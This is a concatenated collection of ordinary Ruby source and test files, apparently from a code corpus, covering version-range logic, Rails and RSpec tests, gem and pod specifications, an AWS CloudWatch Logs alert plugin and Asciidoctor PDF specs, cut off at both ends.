exclude_end = nil) unless ranges.is_a?(Array) lb = GtEqRange.new(ranges) if exclude_end ub = LtRange.new(string) string = ">=#{string} <#{ranges}" else ub = LtEqRange.new(string) string = "#{string} - #{ranges}" end ranges = [MinMaxRange.create(lb, ub)] end ranges.compact! merge_happened = true while ranges.size > 1 && merge_happened # merge ranges if possible merge_happened = false result = [] until ranges.empty? unmerged = [] x = ranges.pop result << ranges.reduce(x) do |memo, y| merged = memo.merge(y) if merged.nil? unmerged << y else merge_happened = true memo = merged end memo end ranges = unmerged end ranges = result.reverse! end ranges = [LtRange::MATCH_NOTHING] if ranges.empty? @ranges = ranges @string = string.nil? ? ranges.join(' || ') : string end def eql?(range) range.is_a?(VersionRange) && @ranges.eql?(range.ranges) end alias == eql? def hash @ranges.hash end # Returns the version that denotes the beginning of this range. # # Since this really is an OR between disparate ranges, it may have multiple beginnings. This method # returns `nil` if that is the case. # # @return [Version] the beginning of the range, or `nil` if there are multiple beginnings # @api public def begin @ranges.size == 1 ? @ranges[0].begin : nil end # Returns the version that denotes the end of this range. # # Since this really is an OR between disparate ranges, it may have multiple ends. This method # returns `nil` if that is the case. # # @return [Version] the end of the range, or `nil` if there are multiple ends # @api public def end @ranges.size == 1 ? @ranges[0].end : nil end # Returns `true` if the beginning is excluded from the range. # # Since this really is an OR between disparate ranges, it may have multiple beginnings. This method # returns `nil` if that is the case. # # @return [Boolean] `true` if the beginning is excluded from the range, `false` if included, or `nil` if there are multiple beginnings # @api public def exclude_begin? @ranges.size == 1 ? @ranges[0].exclude_begin? : nil end # Returns `true` if the end is excluded from the range. # # Since this really is an OR between disparate ranges, it may have multiple ends. This method # returns `nil` if that is the case. # # @return [Boolean] `true` if the end is excluded from the range, `false` if not, or `nil` if there are multiple ends # @api public def exclude_end? @ranges.size == 1 ? @ranges[0].exclude_end? : nil end # @return [Boolean] `true` if the given version is included in the range # @api public def include?(version) @ranges.any? { |range| range.include?(version) && (version.stable? || range.test_prerelease?(version)) } end alias member? include? alias cover? include? alias === include? # Computes the intersection of a pair of ranges. If the ranges have no # useful intersection, an empty range is returned. # # @param other [VersionRange] the range to intersect with # @return [VersionRange] the common subset # @api public def intersection(other) raise ArgumentError, _("value must be a %{type}") % { :type => self.class.name } unless other.is_a?(VersionRange) result = @ranges.map { |range| other.ranges.map { |o_range| range.intersection(o_range) } }.flatten result.compact! result.uniq! result.empty? ? EMPTY_RANGE : VersionRange.new(result, nil) end alias :& :intersection # Returns a string representation of this range. This will be the string that was used # when the range was parsed. # # @return [String] a range expression representing this VersionRange # @api public def to_s @string end # Returns a canonical string representation of this range, assembled from the internal # matchers. # # @return [String] a range expression representing this VersionRange # @api public def inspect @ranges.join(' || ') end # @api private class AbstractRange def include?(_) true end def begin Version::MIN end def end Version::MAX end def exclude_begin? false end def exclude_end? false end def eql?(other) other.class.eql?(self.class) end def ==(other) eql?(other) end def lower_bound? false end def upper_bound? false end # Merge two ranges so that the result matches the intersection of all matching versions. # # @param range [AbstractRange] the range to intersect with # @return [AbstractRange,nil] the intersection between the ranges # # @api private def intersection(range) cmp = self.begin <=> range.end if cmp > 0 nil elsif cmp == 0 exclude_begin? || range.exclude_end? ? nil : EqRange.new(self.begin) else cmp = range.begin <=> self.end if cmp > 0 nil elsif cmp == 0 range.exclude_begin? || exclude_end? ? nil : EqRange.new(range.begin) else cmp = self.begin <=> range.begin min = if cmp < 0 range elsif cmp > 0 self else self.exclude_begin? ? self : range end cmp = self.end <=> range.end max = if cmp > 0 range elsif cmp < 0 self else self.exclude_end? ? self : range end if !max.upper_bound? min elsif !min.lower_bound? max else MinMaxRange.new(min, max) end end end end # Merge two ranges so that the result matches the sum of all matching versions. A merge # is only possible when the ranges are either adjacent or have an overlap. # # @param other [AbstractRange] the range to merge with # @return [AbstractRange,nil] the result of the merge # # @api private def merge(other) if include?(other.begin) || other.include?(self.begin) cmp = self.begin <=> other.begin if cmp < 0 min = self.begin excl_begin = exclude_begin? elsif cmp > 0 min = other.begin excl_begin = other.exclude_begin? else min = self.begin excl_begin = exclude_begin? && other.exclude_begin? end cmp = self.end <=> other.end if cmp > 0 max = self.end excl_end = self.exclude_end? elsif cmp < 0 max = other.end excl_end = other.exclude_end? else max = self.end excl_end = exclude_end && other.exclude_end? end MinMaxRange.create(excl_begin ? GtRange.new(min) : GtEqRange.new(min), excl_end ? LtRange.new(max) : LtEqRange.new(max)) elsif exclude_end? && !other.exclude_begin? && self.end == other.begin # Adjacent, self before other from_to(self, other) elsif other.exclude_end? && !exclude_begin? && other.end == self.begin # Adjacent, other before self from_to(other, self) elsif !exclude_end? && !other.exclude_begin? && self.end.next(:patch) == other.begin # Adjacent, self before other from_to(self, other) elsif !other.exclude_end? && !exclude_begin? && other.end.next(:patch) == self.begin # Adjacent, other before self from_to(other, self) else # No overlap nil end end # Checks if this matcher accepts a prerelease with the same major, minor, patch triple as the given version. Only matchers # where this has been explicitly stated will respond `true` to this method # # @return [Boolean] `true` if this matcher accepts a prerelease with the tuple from the given version def test_prerelease?(_) false end private def from_to(a, b) MinMaxRange.create(a.exclude_begin? ? GtRange.new(a.begin) : GtEqRange.new(a.begin), b.exclude_end? ? LtRange.new(b.end) : LtEqRange.new(b.end)) end end # @api private class AllRange < AbstractRange SINGLETON = AllRange.new def intersection(range) range end def merge(range) self end def test_prerelease?(_) true end def to_s '*' end end # @api private class MinMaxRange < AbstractRange attr_reader :min, :max def self.create(*ranges) ranges.reduce { |memo, range| memo.intersection(range) } end def initialize(min, max) @min = min.is_a?(MinMaxRange) ? min.min : min @max = max.is_a?(MinMaxRange) ? max.max : max end def begin @min.begin end def end @max.end end def exclude_begin? @min.exclude_begin? end def exclude_end? @max.exclude_end? end def eql?(other) super && @min.eql?(other.min) && @max.eql?(other.max) end def hash @min.hash ^ @max.hash end def include?(version) @min.include?(version) && @max.include?(version) end def lower_bound? @min.lower_bound? end def upper_bound? @max.upper_bound? end def test_prerelease?(version) @min.test_prerelease?(version) || @max.test_prerelease?(version) end def to_s "#{@min} #{@max}" end alias inspect to_s end # @api private class ComparatorRange < AbstractRange attr_reader :version def initialize(version) @version = version end def eql?(other) super && @version.eql?(other.version) end def hash @class.hash ^ @version.hash end # Checks if this matcher accepts a prerelease with the same major, minor, patch triple as the given version def test_prerelease?(version) [email protected]? && @version.major == version.major && @version.minor == version.minor && @version.patch == version.patch end end # @api private class GtRange < ComparatorRange def include?(version) version > @version end def exclude_begin? true end def begin @version end def lower_bound? true end def to_s ">#{@version}" end end # @api private class GtEqRange < ComparatorRange def include?(version) version >= @version end def begin @version end def lower_bound? @version != Version::MIN end def to_s ">=#{@version}" end end # @api private class LtRange < ComparatorRange MATCH_NOTHING = LtRange.new(Version::MIN) def include?(version) version < @version end def exclude_end? true end def end @version end def upper_bound? true end def to_s self.equal?(MATCH_NOTHING) ? '<0.0.0' : "<#{@version}" end end # @api private class LtEqRange < ComparatorRange def include?(version) version <= @version end def end @version end def upper_bound? @version != Version::MAX end def to_s "<=#{@version}" end end # @api private class EqRange < ComparatorRange def include?(version) version == @version end def begin @version end def lower_bound? @version != Version::MIN end def upper_bound? @version != Version::MAX end def end @version end def to_s @version.to_s end end # A range that matches no versions EMPTY_RANGE = VersionRange.new([], nil).freeze ALL_RANGE = VersionRange.new([AllRange::SINGLETON], '*') end end
29.206803
152
0.584292
e2fd8216d68af9f60700bb45774e0f10cc84e42e
633
module Frodo class Query class Criteria module LambdaOperators # Applies the `any` lambda operator to the given property # @param property [to_s] # @return [self] def any(property) set_function_and_argument(:any, property) end # Applies the `any` lambda operator to the given property # @param property [to_s] # @return [self] def all(property) set_function_and_argument(:all, property) end private def lambda_operator? [:any, :all].include?(function) end end end end end
22.607143
65
0.578199
38ba15bff3728bd67f31bbf384584b095296ca98
123
# frozen_string_literal: true FactoryBot.define do factory :roster do sequence(:name) { |n| "Name #{n}" } end end
15.375
39
0.666667
390e8436978ad6966bff352a0f3fee1b98676010
1,573
Pod::Spec.new do |spec| spec.name = "AurorKit" spec.version = "0.1.0" spec.summary = "Swift extensions and tools" spec.homepage = "https://github.com/almazrafi/AurorKit" spec.license = { :type => 'MIT', :file => 'LICENSE' } spec.author = { "Almaz Ibragimov" => "[email protected]" } spec.source = { :git => "https://github.com/almazrafi/AurorKit.git", :tag => "#{spec.version}" } spec.swift_version = '5.0' spec.requires_arc = true spec.ios.frameworks = 'Foundation' spec.ios.deployment_target = "10.0" spec.osx.frameworks = 'Foundation' spec.osx.deployment_target = "10.12" spec.watchos.frameworks = 'Foundation' spec.watchos.deployment_target = "3.0" spec.tvos.frameworks = 'Foundation' spec.tvos.deployment_target = "10.0" spec.subspec 'Extensions' do |extensions| extensions.source_files = "AurorKit/Extensions/**/*.swift" extensions.ios.frameworks = 'QuartzCore', 'CoreGraphics', 'UIKit' extensions.osx.frameworks = 'QuartzCore', 'CoreGraphics', 'AppKit' extensions.watchos.frameworks = 'QuartzCore', 'CoreGraphics', 'UIKit' extensions.tvos.frameworks = 'QuartzCore', 'CoreGraphics', 'UIKit' end spec.subspec 'Device' do |extensions| extensions.source_files = "AurorKit/Device/**/*.swift" end spec.subspec 'Events' do |events| events.source_files = "AurorKit/Events/**/*.swift" end spec.subspec 'Log' do |log| log.source_files = "AurorKit/Log/**/*.swift" log.ios.frameworks = 'UIKit' log.tvos.frameworks = 'UIKit' log.dependency 'AurorKit/Extensions' end end
30.25
98
0.682772
d5d317939e16da7fa1a59c109e1b6f93678e379a
805
# frozen_string_literal: true require "rails_helper" describe Api::Eve::ManufacturingItemsController do before { Setting.use_image_proxy = true } describe "#index" do it "returns list of manufacturing items" do create(:eve_type, type_id: 24_698, name: "Drake", published: true, is_manufacturing_item: true) get "/api/eve/manufacturing_items", params: {q: "drake"} expect(response).to have_http_status(:ok) expect(JSON.parse(response.body)).to eq("total_count" => 1, "total_pages" => 1, "current_page" => 1, "items" => [{ "id" => 24_698, "name" => "Drake", "icon" => "https://imageproxy.evemonk.com/https://images.evetech.net/types/24698/icon?size=32" }]) end end end
25.967742
104
0.604969
4acdee2f88428efc2e3791262ad8387ff4d33a3f
1,226
# coding: utf-8 Gem::Specification.new do |spec| spec.name = "minimal-mistakes-jekyll" spec.version = "4.16.5" spec.authors = ["Michael Rose"] spec.summary = %q{A flexible two-column Jekyll theme.} spec.homepage = "https://github.com/mmistakes/minimal-mistakes" spec.license = "MIT" spec.metadata["plugin_type"] = "theme" spec.files = `git ls-files -z`.split("\x0").select do |f| f.match(%r{^(assets|_(data|includes|layouts|sass)/|(LICENSE|README|CHANGELOG)((\.(txt|md|markdown)|$)))}i) end spec.add_runtime_dependency "jekyll", "~> 3.7" spec.add_runtime_dependency "jekyll-paginate", "~> 1.1" spec.add_runtime_dependency "jekyll-sitemap", "~> 1.2" spec.add_runtime_dependency "jekyll-gist", "~> 1.5" spec.add_runtime_dependency "jekyll-feed", "~> 0.10" spec.add_runtime_dependency "jekyll-data", "~> 1.0" spec.add_runtime_dependency "jemoji", "~> 0.10" spec.add_runtime_dependency "jekyll-include-cache", "~> 0.1" spec.add_development_dependency "bundler" spec.add_development_dependency "rake", "~> 10.0" end
42.275862
112
0.600326
282b2f1fb42ba78f115e1e723ef2424cc128b9d4
544
Given(/^I navigate to the clientside form validation async submit demo page$/) do click_link('clientside-form-validation/async-submit') end Given(/^I have filled out the async submit form$/) do fill_in('Full name', :with => 'Foo') end Then(/^I am asked to wait while the form submits$/) do assert_text('Waiting for async thing', :count => 5) end Then(/^the form eventually submits$/) do # Once the page reloads after submitting, all the async messages will have gone assert_no_selector('p', :text => 'Waiting for async thing') end
32
81
0.726103
0344933af7e29d50cfc9d9fb36f6a6298b5989ca
3,047
# frozen_string_literal: true # Copyright (c) 2018 Yegor Bugayenko # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the 'Software'), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. require 'minitest/autorun' require_relative '../fake_home' require_relative '../test__helper' require_relative '../../lib/zold/wallet' require_relative '../../lib/zold/wallets' require_relative '../../lib/zold/remotes' require_relative '../../lib/zold/id' require_relative '../../lib/zold/key' require_relative '../../lib/zold/node/entrance' require_relative '../../lib/zold/commands/pay' # ENTRANCE test. # Author:: Yegor Bugayenko ([email protected]) # Copyright:: Copyright (c) 2018 Yegor Bugayenko # License:: MIT class TestEntrance < Minitest::Test def test_pushes_wallet sid = Zold::Id::ROOT tid = Zold::Id.new body = FakeHome.new(log: test_log).run do |home| source = home.create_wallet(sid) target = home.create_wallet(tid) Zold::Pay.new(wallets: home.wallets, remotes: home.remotes, log: test_log).run( [ 'pay', '--force', '--private-key=fixtures/id_rsa', source.id.to_s, target.id.to_s, '19.99', 'testing' ] ) IO.read(source.path) end FakeHome.new(log: test_log).run do |home| source = home.create_wallet(sid) target = home.create_wallet(tid) e = Zold::Entrance.new(home.wallets, home.remotes, home.copies(source).root, 'x', log: test_log) modified = e.push(source.id, body) assert_equal(Zold::Amount.new(zld: -19.99), source.balance) assert_equal(Zold::Amount.new(zld: 19.99), target.balance) assert_equal(2, modified.count) assert(modified.include?(sid)) assert(modified.include?(tid)) end end def test_renders_json FakeHome.new(log: test_log).run do |home| wallet = home.create_wallet e = Zold::Entrance.new(home.wallets, home.remotes, home.copies.root, 'x', log: test_log) e.push(wallet.id, IO.read(wallet.path)) assert(e.to_json[:history].include?(wallet.id.to_s)) assert(!e.to_json[:speed].negative?) end end end
40.092105
102
0.707581
870befbd9171a5b34e4df275e8b73667c154ac9f
216
describe file('/etc/profile.d/rbenv.sh') do it {should exist} end describe command('source /etc/profile.d/rbenv.sh; rbenv global') do its(:exit_status) { should eq 0 } its(:stdout) { should match /2\./ } end
24
68
0.680556
013b8895f67c7f52f5991cf6f00e58af606ce32f
1,533
require 'spec_helper' describe Gitlab::ImportExport::RepoRestorer do describe 'bundle a project Git repo' do let(:user) { create(:user) } let!(:project_with_repo) { create(:project, :repository, name: 'test-repo-restorer', path: 'test-repo-restorer') } let!(:project) { create(:project) } let(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" } let(:shared) { project.import_export_shared } let(:bundler) { Gitlab::ImportExport::RepoSaver.new(project: project_with_repo, shared: shared) } let(:bundle_path) { File.join(shared.export_path, Gitlab::ImportExport.project_bundle_filename) } let(:restorer) do described_class.new(path_to_bundle: bundle_path, shared: shared, project: project) end before do allow_any_instance_of(Gitlab::ImportExport).to receive(:storage_path).and_return(export_path) bundler.save end after do FileUtils.rm_rf(export_path) Gitlab::GitalyClient::StorageSettings.allow_disk_access do FileUtils.rm_rf(project_with_repo.repository.path_to_repo) FileUtils.rm_rf(project.repository.path_to_repo) end end it 'restores the repo successfully' do expect(restorer.restore).to be true end it 'has the webhooks' do restorer.restore Gitlab::GitalyClient::StorageSettings.allow_disk_access do expect(Gitlab::Git::Hook.new('post-receive', project.repository.raw_repository)).to exist end end end end
34.066667
118
0.688193
7953f9178703fedcbb34c41a8e8c3053c5edae53
825
require 'yaml' module Yello class << self def to_yaml(lists) Yello::ToYaml.convert(lists) end end module ToYaml class << self def convert(lists) {}.tap{|h| lists.each{|l| h[l.name] = list(l) } }.to_yaml end def list(l) {}.tap{|h| h['cards'] = l.cards.map{|c| card(c) } } end def card(c) hash = {c.name=>nil}.tap do |h| h['desc'] = c.desc if c.desc h['checklists'] = c.checklists.map{|cl|checklist(cl)} if c.checklists end if hash.size == 1 return c.name else return hash end end def checklist(cl) { cl.name => cl.items } end end end end
16.5
79
0.436364
33ef675fa655e62c99d62d1d136d1f397274406a
720
require 'test_helper' class StaticPagesControllerTest < ActionDispatch::IntegrationTest def setup @base_title = 'Ruby on Rails Tutorial Sample App' end test 'should get home' do get root_path assert_response :success assert_select('title', @base_title) end test 'should get help' do get help_path assert_response :success assert_select('title', "Help | #{@base_title}") end test 'should get about' do get about_path assert_response :success assert_select('title', "About | #{@base_title}") end test 'should get contact' do get contact_path assert_response :success assert_select('title', 'Contact | Ruby on Rails Tutorial Sample App') end end
22.5
73
0.704167
8784adefa8ea5d7fe47ceaf74f83979591161a2c
850
module EventStore module HTTP module Controls module NetHTTP module Request module Post def self.example stream_name = "testStream-#{SecureRandom.hex 7}" request = Net::HTTP::Post.new "/streams/#{stream_name}" request.body = text request['es-eventid'] = Identifier::UUID::Random.get request['es-eventtype'] = type request['content-type'] = 'application/json' request end def self.type 'SomeEvent' end def self.data { :attribute => SecureRandom.hex(7) } end def self.text ::JSON.generate data end end end end end end end
22.972973
69
0.464706
e202ee6d26d701dece55f85f0d1cd1d2d1f91f6e
6,148
require 'active_support' require_relative '../ext/ext' require_relative 'array_with_type' require_relative 'default_validators' require_relative 'type_conversion_support' require_relative 'date_time_validator' require_relative 'association_validator' module Sequent module Core module Helpers # Provides functionality for defining attributes with their types # # Since our Commands and ValueObjects are not backed by a database like e.g. rails # we can not infer their types. We need the types to be able to parse from and to json. # We could have stored te type information in the json, but we didn't. # # You typically do not need to include this module in your classes. If you extend from # Sequent::Core::ValueObject, Sequent::Core::Event or Sequent::Core::BaseCommand you will # get this functionality for free. # module AttributeSupport class UnknownAttributeError < StandardError; end # module containing class methods to be added module ClassMethods def types @types ||= {} if @merged_types @merged_types else @merged_types = is_a?(Class) && superclass.respond_to?(:types) ? @types.merge(superclass.types) : @types included_modules.select { |m| m.include? Sequent::Core::Helpers::AttributeSupport }.each do |mod| @merged_types.merge!(mod.types) end @merged_types end end def attrs(args) @types ||= {} @types.merge!(args) associations = [] args.each do |attribute, type| attr_accessor attribute if included_modules.include?(Sequent::Core::Helpers::TypeConversionSupport) Sequent::Core::Helpers::DefaultValidators.for(type).add_validations_for(self, attribute) end if type.class == Sequent::Core::Helpers::ArrayWithType associations << attribute elsif included_modules.include?(ActiveModel::Validations) && type.included_modules.include?(Sequent::Core::Helpers::AttributeSupport) associations << attribute end end if included_modules.include?(ActiveModel::Validations) && associations.present? validates_with Sequent::Core::Helpers::AssociationValidator, associations: associations end # Generate method that sets all defined attributes based on the attrs hash. class_eval <<EOS def update_all_attributes(attrs) super if defined?(super) ensure_known_attributes(attrs) #{@types.map { |attribute, _| "@#{attribute} = attrs[:#{attribute}]" }.join("\n ")} self end EOS class_eval <<EOS def update_all_attributes_from_json(attrs) super if defined?(super) #{@types.map { |attribute, type| "@#{attribute} = #{type}.deserialize_from_json(attrs['#{attribute}'])" }.join("\n ")} end EOS end # # Allows you to define something is an array of a type # Example: # # attrs trainees: array(Person) # def array(type) ArrayWithType.new(type) end def deserialize_from_json(args) unless args.nil? obj = allocate() obj.update_all_attributes_from_json(args) obj end end def numeric?(object) true if Float(object) rescue false end end # extend host class with class methods when we're included def self.included(host_class) host_class.extend(ClassMethods) end def attributes hash = HashWithIndifferentAccess.new self.class.types.each do |name, _| value = self.instance_variable_get("@#{name}") hash[name] = if value.respond_to?(:attributes) value.attributes else value end end hash end def as_json(opts = {}) hash = HashWithIndifferentAccess.new self.class.types.each do |name, _| value = self.instance_variable_get("@#{name}") hash[name] = if value.respond_to?(:as_json) value.as_json(opts) else value end end hash end def update(changes) self.class.new(attributes.merge(changes)) end def validation_errors(prefix = nil) result = errors.to_hash self.class.types.each do |field| value = self.instance_variable_get("@#{field[0]}") if value.respond_to? :validation_errors value.validation_errors.each { |k, v| result["#{field[0].to_s}_#{k.to_s}".to_sym] = v } elsif field[1].class == ArrayWithType and value.present? value .select { |val| val.respond_to?(:validation_errors) } .each_with_index do |val, index| val.validation_errors.each do |k, v| result["#{field[0].to_s}_#{index}_#{k.to_s}".to_sym] = v end end end end prefix ? HashWithIndifferentAccess[result.map { |k, v| ["#{prefix}_#{k}", v] }] : result end def ensure_known_attributes(attrs) return unless Sequent.configuration.strict_check_attributes_on_apply_events unknowns = attrs.keys.map(&:to_s) - self.class.types.keys.map(&:to_s) raise UnknownAttributeError.new("#{self.class.name} does not specify attrs: #{unknowns.join(", ")}") if unknowns.any? end end end end end
35.537572
127
0.555465
b9fc58aac9abbebe85718752bf46d5e5128764c0
735
module Helpers class ErrorHandler def self.handle_error(error, occured_when: nil) yield rescue error => e error_log_response(occured_when, e) end def self.error_log_response(occured_when, error) occured_when = " when #{occured_when}" unless occured_when.nil? log_message = "An exception occurred#{occured_when}. #{error.class}: #{error.message} " \ "Traceback:\n#{error.backtrace.join("\n")}" flash_message = "An exception occurred#{occured_when}. #{error.class}: #{error.message} " \ 'Please contact the maintainer.' Rails.logger.error log_message Helpers::ApiResponse.new(status: :error, message: flash_message) end end end
36.75
97
0.658503
e8eeb03219defbc552b97964cdaefc7104ccf59a
1,011
class ProviderProfilePolicy < ApplicationPolicy class Scope < Scope def resolve scope.where( user_id: user.id ) end end def create? # if the user doesn't have a provider profile already user.provider_profile.nil? end def update? user.provider_profile.present? end def permitted_attributes # non-allowed attributes # tipo_contribuyente # fecha_inicio_actividad [ :ruc, :email, :website, :telefono, :logotipo, :razon_social, :banco_nombre, :twitter_handle, :youtube_handle, :facebook_handle, :instagram_handle, :banco_tipo_cuenta, :banco_numero_cuenta, :actividad_economica, :representante_legal, :nombre_establecimiento, :provider_category_id, formas_de_pago: [], offices_attributes: offices_attributes ] end private def offices_attributes ProviderOfficePolicy.new(user,record).permitted_attributes end end
19.442308
62
0.658754
396e84032a4570ab4e71d0049828481da7546edc
1,878
# frozen_string_literal: true Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped # and recreated between test runs. Don't rely on the data there! config.cache_classes = true # Do not eager load code on boot. This avoids loading your whole application # just for the purpose of running a single test. If you are using a tool that # preloads Rails for running tests, you may have to set it to true. config.eager_load = false # Configure public file server for tests with Cache-Control for performance. config.public_file_server.enabled = true config.public_file_server.headers = { 'Cache-Control' => 'public, max-age=3600' } # Show full error reports and disable caching. config.consider_all_requests_local = true config.action_controller.perform_caching = false # Raise exceptions instead of rendering exception templates. config.action_dispatch.show_exceptions = false # Disable request forgery protection in test environment. config.action_controller.allow_forgery_protection = false config.action_mailer.perform_caching = false # Tell Action Mailer not to deliver emails to the real world. # The :test delivery method accumulates sent emails in the # ActionMailer::Base.deliveries array. # Mailer settings config.action_mailer.default_url_options = { host: 'localhost', port: 3000 } config.action_mailer.delivery_method = :test # Print deprecation notices to the stderr. config.active_support.deprecation = :stderr # Raises error for missing translations # config.action_view.raise_on_missing_translations = true end
39.957447
85
0.771565
084ffdfbaa125f8ee1ff6db584df77f6ff3414cc
159
require 'test_helper' class RestControllerTest < ActionController::TestCase test "should get rest" do get :rest assert_response :success end end
15.9
53
0.748428
7aff8b6db0848f1e19e385cc3dfd5cbef72562f1
3,054
require 'alerty' require 'aws-sdk' require 'dotenv' require 'json' Dotenv.load class Alerty class Plugin class AmazonCloudwatchLogs def initialize(config) params = {} params[:region] = config.aws_region if config.aws_region params[:access_key_id] = config.aws_access_key_id if config.aws_access_key_id params[:secret_access_key] = config.aws_secret_access_key if config.aws_secret_access_key params[:ssl_verify_peer] = false @client = Aws::CloudWatchLogs::Client.new(params) @subject = config.subject @log_group_name = config.log_group_name @log_stream_name = config.log_stream_name @state_file = config.state_file @num_retries = config.num_retries || 3 end def alert(record) message = record[:output] subject = expand_placeholder(@subject, record) event_message = { "subject" => subject, "message" => message, "hostname" => record[:output], "exitstatus" => record[:exitstatus], "duration" => record[:duration] } timestamp = Time.now.instance_eval { self.to_i * 1000 + (usec/1000) } next_token = read_token retries = 0 begin Alerty.logger.info "#{next_token}" if next_token == "" resp = @client.put_log_events({ log_group_name: @log_group_name, log_stream_name: @log_stream_name, log_events: [ { timestamp: timestamp, message: event_message.to_json, }, ] }) store_token(resp.next_sequence_token) Alerty.logger.info "Sent #{{subject: subject, message: message}} to log_group_name: #{@log_group_name} / log_stream_name: #{@log_stream_name} / next_sequence_token: #{resp.next_sequence_token}" else resp = @client.put_log_events({ log_group_name: @log_group_name, log_stream_name: @log_stream_name, log_events: [ { timestamp: timestamp, message: event_message.to_json, }, ], sequence_token: next_token }) store_token(resp.next_sequence_token) Alerty.logger.info "Sent #{{subject: subject, message: message}} to log_group_name: #{@log_group_name} / log_stream_name: #{@log_stream_name} / next_sequence_token: #{resp.next_sequence_token}" end rescue => e retries += 1 sleep 1 if retries <= @num_retries retry else raise e end end end private def expand_placeholder(str, record) str.gsub('${command}', record[:command]).gsub('${hostname}', record[:hostname]) end def read_token return nil unless File.exist?(@state_file) File.read(@state_file).chomp end def store_token(sequence_token) open(@state_file, 'w') do |f| f.write sequence_token end end end end end
33.195652
205
0.596267
ac8e64984831e68d3da4c82e595ea9fbb56aa18b
1,263
# frozen_string_literal: true require 'sprockets/digest_utils' require 'sprockets/source_map_utils' if Gem::Version.new(::Sprockets::VERSION) >= Gem::Version.new('4.x') class Terser # A wrapper for Sprockets class Compressor VERSION = '1' def initialize(options = {}) options[:comments] ||= :none @options = options @cache_key = -"Terser:#{::Terser::VERSION}:#{VERSION}:#{::Sprockets::DigestUtils.digest(options)}" @terser = ::Terser.new(@options) end def self.instance @instance ||= new end def self.call(input) instance.call(input) end def self.cache_key instance.cache_key end attr_reader :cache_key if Gem::Version.new(::Sprockets::VERSION) >= Gem::Version.new('4.x') def call(input) input_options = { :source_map => { :filename => input[:filename] } } js, map = @terser.compile_with_map(input[:data], input_options) map = ::Sprockets::SourceMapUtils.format_source_map(JSON.parse(map), input) map = ::Sprockets::SourceMapUtils.combine_source_maps(input[:metadata][:map], map) { :data => js, :map => map } end else def call(input) @terser.compile(input[:data]) end end end end
25.26
105
0.627078
b905041c8d1bf8eb5e33bbbce970b54f4b3f8558
3,587
# frozen_string_literal: true require 'spec_helper' describe Panoptes::Endpoints::JsonApiEndpoint do let(:endpoint) do described_class.new(auth: {}, url: 'http://example.com') end describe '#paginate' do let(:payload) do { 'subjects' => [ { 'id' => '1', 'metadata' => {}, 'locations' => [{ 'image/png' => 'https=>//example.com/image.png' }], 'zooniverse_id' => nil, 'external_id' => nil, 'created_at' => '2021-11-19T13:26:59.032Z', 'updated_at' => '2021-11-19T13:26:59.032Z', 'href' => '/subjects/1', 'links' => { 'project' => '1', 'collections' => [], 'subject_sets' => ['1'] } } ], 'links' => { 'subjects.project' => { 'href' => '/projects/{subjects.project}', 'type' => 'projects' }, 'subjects.collections' => { 'href' => '/collections?subject_id={subjects.id}', 'type' => 'collections' }, 'subjects.subject_sets' => { 'href' => '/subject_sets?subject_id={subjects.id}', 'type' => 'subject_sets' } }, 'meta' => { 'subjects' => { 'page' => 1, 'page_size' => 20, 'count' => 1, 'include' => [], 'page_count' => 1, 'previous_page' => nil, 'next_page' => nil, 'first_href' => '/subjects?id=1', 'previous_href' => nil, 'next_href' => nil, 'last_href' => '/subjects?id=1' } } } end context 'with only one result page' do before do allow(endpoint).to receive(:get).and_return(payload) end let(:yield_args) { [payload, payload] } it ' with a block it yields data and location for first page' do expect { |b| endpoint.paginate('/subjects', workflow_id: 1, &b) }.to yield_successive_args(yield_args) end it 'without block syntax it returns the combined page data' do expect(endpoint.paginate('/subjects', workflow_id: 1)).to match(payload) end end context 'with two result pages' do let(:multi_page_payload) { payload.dup } let(:path) { '/subjects' } let(:query) { { workflow_id: 1 } } let(:next_path) { '/subjects?page=2' } let(:yield_args) { [[multi_page_payload, multi_page_payload], [multi_page_payload, payload]] } before do # don't pollute the original payload object instance for the test multi_page_payload['meta'] = payload['meta'].dup multi_page_payload['meta']['subjects'] = payload['meta']['subjects'].dup multi_page_payload['meta']['subjects']['next_href'] = next_path # setup the first and second page responses allow(endpoint).to receive(:get).with(path, query).and_return(multi_page_payload) allow(endpoint).to receive(:get).with(next_path, query).and_return(payload) end it 'with a block it yields data and location both pages' do expect { |b| endpoint.paginate(path, query, &b) }.to yield_successive_args(*yield_args) end it 'without block syntax it returns the combined page data' do payload['subjects'] << payload['subjects'].dup expect(endpoint.paginate('/subjects', workflow_id: 1)).to match(payload) end end end end
33.212963
110
0.526624
6a4f5ab7caaed38af06c55bac91545cb14009415
105,029
# frozen_string_literal: true require_relative 'spec_helper' describe 'Asciidoctor::PDF::Converter - Running Content' do context 'Activation' do it 'should not attempt to add running content if document has no body' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true = Document Title :doctype: book EOS text = pdf.text (expect text).to have_size 1 (expect text[0][:string]).to eql 'Document Title' end it 'should add running content if document is empty (single blank page)' do pdf = to_pdf '', enable_footer: true, analyze: true text = pdf.text (expect text).to have_size 1 (expect text[0][:string]).to eql '1' end it 'should start adding running content to page after imported page' do pdf = to_pdf <<~'EOS', enable_footer: true, analyze: true image::blue-letter.pdf[] first non-imported page EOS pages = pdf.pages (expect pages).to have_size 2 (expect pdf.find_text page_number: 1).to be_empty p2_text = pdf.find_text page_number: 2 (expect p2_text).to have_size 2 (expect p2_text[0][:string]).to eql 'first non-imported page' (expect p2_text[0][:order]).to be 1 (expect p2_text[1][:string]).to eql '2' (expect p2_text[1][:order]).to be 2 end it 'should not add running content if all pages are imported' 